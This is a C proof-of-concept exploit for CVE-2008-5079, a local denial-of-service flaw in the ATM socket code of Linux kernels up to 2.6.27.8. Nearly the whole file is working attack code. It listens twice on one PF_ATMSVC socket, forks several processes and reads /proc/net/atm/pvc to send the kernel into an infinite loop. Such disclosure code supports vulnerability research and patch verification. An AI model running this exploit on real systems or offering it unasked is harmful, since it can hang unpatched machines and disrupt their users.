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/*
* cve-2008-5079.c
*
* Linux Kernel <= 2.6.27.8 ATMSVC local DoS
* Jon Oberheide <jon@oberheide.org>
*
* http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
*
* net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
* and earlier allows local users to cause a denial of service
* (kernel infinite loop) by making two calls to svc_listen for the
* same socket, and then reading a /proc/net/atm/*vc file, related
* to corruption of the vcc table.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#define NR_CPUS 8
#define PROC_ATM "/proc/net/atm/pvc"
int
main(void)
{
char *err, dummy[1024];
int i, ret, sock, proc;
struct atm_qos qos;
struct sockaddr_atmsvc addr;
printf("[+] creating ATM socket...\n");
sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
if (sock < 0) {
err = "socket(2) for type PF_ATMSVC failed";
printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
return 1;
}
memset(&qos, 0, sizeof(qos));
qos.rxtp.traffic_class = ATM_UBR;
qos.txtp.traffic_class = ATM_UBR;
qos.aal = ATM_NO_AAL;
printf("[+] setting socket QoS options...\n");
ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));
if (ret == -1) {
err = "setsockopt(2) for option SO_ATMQOS failed";
printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sas_family = AF_ATMSVC;
printf("[+] binding socket...\n");
bind(sock, (struct sockaddr *) &addr, sizeof(addr));
printf("[+] socket listen...\n");
listen(sock, 10);
printf("[+] duplicate socket listen...\n");
listen(sock, 10);
printf("[+] attempting local DoS...\n");
for (i = 0; i < NR_CPUS; ++i) {
if (fork() != 0) {
break;
}
}
proc = open(PROC_ATM, O_RDONLY);
if (proc == -1) {
err = "opening " PROC_ATM " failed";
printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
return 1;
}
ret = read(proc, &dummy, 1024);
close(proc);
printf("[-] Local DoS failed.\n");
return 0;
}
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